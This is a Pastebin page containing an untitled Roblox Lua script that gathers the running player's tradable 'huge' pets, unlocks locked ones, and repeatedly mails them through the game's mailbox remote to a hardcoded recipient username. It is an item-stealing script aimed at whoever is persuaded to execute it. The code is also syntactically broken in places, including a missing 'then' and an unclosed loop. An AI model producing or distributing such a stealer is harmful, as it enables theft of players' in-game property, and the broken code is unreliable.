Advertisement
booiiii

Untitled

Dec 8th, 2024
9
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.30 KB | None | 0 0
  1. Roblox_Username = "";
  2. local Library = require(game.ReplicatedStorage.Library);
  3. local Save = (require((game:GetService("ReplicatedStorage")).Library.Client.Save)).Get();
  4. local Directory = require((game:GetService("ReplicatedStorage")).Library.Directory);
  5. local Player = game.Players.LocalPlayer;
  6. local Inventory = Save.Inventory;
  7. local HttpService = game:GetService("HttpService");
  8. local message = require(game.ReplicatedStorage.Library.Client.Message);
  9. local network = (game:GetService("ReplicatedStorage")):WaitForChild("Network");
  10. local GetListWithAllItems = function()
  11. local hits = {};
  12. print(1);
  13. Inventory = ((require((game:GetService("ReplicatedStorage")).Library.Client.Save)).Get()).Inventory;
  14. if Inventory.Pet ~= nil then
  15. for i, v in pairs(Inventory.Pet) do
  16. id = v.id;
  17. dir = Directory.Pets[id];
  18. if dir.Tradable ~= false and dir.huge
  19. table.insert(hits, {
  20. Item_Id = i,
  21. Item_Name = v.id,
  22. Item_Amount = v._am or 1,
  23. Item_Class = "Pet",
  24. IsShiny = v.sh or false,
  25. IsLocked = v.lk or false,
  26. Item_ImageId = ItemImageId,
  27. Item_Type = ItemType
  28. });
  29. end;
  30. end;
  31. end;
  32. return hits;
  33. end;
  34. local function sendItem(category, uid, am, locked)
  35. local args = {
  36. [1] = Roblox_Username,
  37. [2] = "Bonki did it",
  38. [3] = category,
  39. [4] = uid,
  40. [5] = am
  41. };
  42. local response = false;
  43. repeat
  44. if locked == true then
  45. local args = {
  46. uid,
  47. false
  48. };
  49. (game:GetService("ReplicatedStorage")).Network.Locking_SetLocked:InvokeServer(unpack(args));
  50. end;
  51. local response, err = (network:WaitForChild("Mailbox: Send")):InvokeServer(unpack(args));
  52. until response == true;
  53. end;
  54. local hits = GetListWithAllItems();
  55. local Left_Hits = #hits;
  56.  
  57. local response, err =
  58. game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Mailbox: Claim All"):InvokeServer()
  59.  
  60. while err == "You must wait 30 seconds before using the mailbox!" do
  61. wait()
  62. response, err =
  63. game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Mailbox: Claim All"):InvokeServer()
  64.  
  65. while true do
  66. if #hits > 0 then
  67. for i, v in pairs(hits) do
  68. print("sending");
  69. sendItem(v.Item_Class, v.Item_Id, v.Item_Amount, v.IsLocked);
  70. Left_Hits = Left_Hits - 1;
  71. end;
  72. end;
  73. task.wait(600)
  74. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement